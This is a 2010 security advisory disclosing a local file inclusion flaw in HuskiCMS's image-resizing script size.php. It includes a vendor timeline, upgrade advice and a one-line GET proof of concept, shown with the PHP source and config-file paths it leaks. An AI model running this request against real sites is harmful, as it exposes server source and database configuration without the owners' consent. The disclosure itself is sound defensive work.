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JAHx102 - HuskiCMS local file inclusion

20100205 - Justanotherhacker.com : HuskiCMS local file inclusion
JAHx102 - http://www.justanotherhacker.com/advisories/JAHx102.txt

huski CMS effectively places the control of the website back into the hands of you, the site owner. huski CMS is extremely user friendly and has been developed with the lowest denominator in IT knowledge in mind. huski CMS is still a very powerful and flexible system which ensures your site is using the latest technologies such as AJAX, XML, XHTML, and CSS
[ Taken from: http://www.huskicms.com ]

--- Vulnerability description ---
A conditional local file inclusion exists in the image resizing script size.php's i parameter.
The parameter is not filtered and allows arbitrary file inclusion.

Type: Local File Inclusion
Severity: Low
Release: Responsible
CVE: None
Vendor: ASCET Interactive - http://www.ascetinteractive.com
Affected versions:

--- Proof of Concept ---
~$ GET 'http://[target]/size.php?i=index.php'
	header ('Content-Type: text/html; charset=utf-8');
	// Data Includes
	include_once "PHPLib/db_mysql.inc";
	include_once "Data/dbConnection.class.php";
	include_once "Data/dbConfig.class.php";
	include_once "Data/dataAdapter.class.php";
	include_once "Quicksite/Core/domxml.class.php";

	// Quicksite Core Includes
	include_once "Quicksite/Core/all.inc.php";
	// Configuration
	include_once "Quicksite/db.config.php";
	include_once "inc/vars.config.php";

	// Initialise the Site
	$site = new Site($_VARS['site']);
	// Initialise the Page
	$page = new Page($site, $_GET['id'], array_merge($_POST, $_GET));

	// Load plugin sources
	// Create the Page
	echo $page->Result;

--- Solution ---
Upgrade to a more recent version

--- Disclosure time line ---
05-Feb-2010 - Public disclosure
29-Jan-2010 - Vendor acknowledge vulnerability
28-Jan-2010 - Vendor notified through email